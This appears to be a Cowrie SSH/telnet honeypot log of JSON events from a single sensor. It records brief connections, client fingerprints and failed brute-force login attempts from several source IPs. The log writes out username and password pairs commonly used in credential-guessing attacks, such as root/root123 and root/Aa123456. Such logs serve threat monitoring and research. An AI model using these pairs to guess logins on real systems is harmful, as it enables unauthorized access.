{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:49.449019Z","src_ip":"176.65.139.103","session":"efb2a0050582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:50.728956Z","src_ip":"176.65.139.103","session":"efb2a0050582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33928,"dst_ip":"10.17.0.5","dst_port":22,"session":"9db5c08dd03e","protocol":"ssh","message":"New connection: 176.65.139.103:33928 (10.17.0.5:22) [session: 9db5c08dd03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:55.389878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:55.394678Z","src_ip":"176.65.139.103","session":"9db5c08dd03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:55.545458Z","src_ip":"176.65.139.103","session":"9db5c08dd03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:56.164221Z","src_ip":"176.65.139.103","session":"9db5c08dd03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:04:57.361976Z","src_ip":"176.65.139.103","session":"9db5c08dd03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33946,"dst_ip":"10.17.0.5","dst_port":22,"session":"8faa52212efb","protocol":"ssh","message":"New connection: 176.65.139.103:33946 (10.17.0.5:22) [session: 8faa52212efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:02.321069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:02.327159Z","src_ip":"176.65.139.103","session":"8faa52212efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:02.449306Z","src_ip":"176.65.139.103","session":"8faa52212efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:02.706227Z","src_ip":"176.65.139.103","session":"8faa52212efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:04.077679Z","src_ip":"176.65.139.103","session":"8faa52212efb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":57912,"dst_ip":"10.17.0.5","dst_port":22,"session":"374154996d34","protocol":"ssh","message":"New connection: 202.184.144.220:57912 (10.17.0.5:22) [session: 374154996d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:04.360488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:04.366664Z","src_ip":"202.184.144.220","session":"374154996d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:04.603332Z","src_ip":"202.184.144.220","session":"374154996d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2025","message":"login attempt [root/teste2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:05.572673Z","src_ip":"202.184.144.220","session":"374154996d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":50144,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b0be7e3663c","protocol":"ssh","message":"New connection: 103.176.20.115:50144 (10.17.0.5:22) [session: 6b0be7e3663c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:06.094170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:06.114250Z","src_ip":"103.176.20.115","session":"6b0be7e3663c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:06.366900Z","src_ip":"103.176.20.115","session":"6b0be7e3663c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:06.811522Z","src_ip":"202.184.144.220","session":"374154996d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwertyuiop","message":"login attempt [ftpuser/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:07.399354Z","src_ip":"103.176.20.115","session":"6b0be7e3663c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.215.112","src_port":45736,"dst_ip":"159.203.135.109","dst_port":23,"session":"9842ede3169a","protocol":"telnet","message":"New connection: 8.219.215.112:45736 (159.203.135.109:23) [session: 9842ede3169a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:08.388865Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:08.655004Z","src_ip":"103.176.20.115","session":"6b0be7e3663c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58492,"dst_ip":"10.17.0.5","dst_port":22,"session":"92729769045b","protocol":"ssh","message":"New connection: 176.65.139.103:58492 (10.17.0.5:22) [session: 92729769045b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:09.088298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:09.094157Z","src_ip":"176.65.139.103","session":"92729769045b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:09.199895Z","src_ip":"176.65.139.103","session":"92729769045b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:09.506593Z","src_ip":"176.65.139.103","session":"92729769045b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:10.629167Z","src_ip":"176.65.139.103","session":"92729769045b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40848,"dst_ip":"10.17.0.5","dst_port":22,"session":"40b5186052e5","protocol":"ssh","message":"New connection: 176.65.139.103:40848 (10.17.0.5:22) [session: 40b5186052e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:16.225751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:16.231191Z","src_ip":"176.65.139.103","session":"40b5186052e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:16.315885Z","src_ip":"176.65.139.103","session":"40b5186052e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:16.575519Z","src_ip":"176.65.139.103","session":"40b5186052e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:17.692894Z","src_ip":"176.65.139.103","session":"40b5186052e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00185751914978,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:21.880016Z","src_ip":"177.54.170.240","session":"1adc10dd9e61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60546,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0890c12ac7b","protocol":"ssh","message":"New connection: 159.203.92.129:60546 (159.203.135.109:22) [session: a0890c12ac7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.098819Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34818,"dst_ip":"10.17.0.5","dst_port":22,"session":"813b3a69bf5d","protocol":"ssh","message":"New connection: 176.65.139.103:34818 (10.17.0.5:22) [session: 813b3a69bf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.104326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.107932Z","src_ip":"159.203.92.129","session":"a0890c12ac7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.113135Z","src_ip":"159.203.92.129","session":"a0890c12ac7b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.120189Z","src_ip":"176.65.139.103","session":"813b3a69bf5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1234567","message":"login attempt [ansible/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.130930Z","src_ip":"159.203.92.129","session":"a0890c12ac7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.470203Z","src_ip":"176.65.139.103","session":"813b3a69bf5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:23.798714Z","src_ip":"176.65.139.103","session":"813b3a69bf5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:05:24.185675Z","src_ip":"159.203.92.129","session":"a0890c12ac7b","protocol":"ssh"}
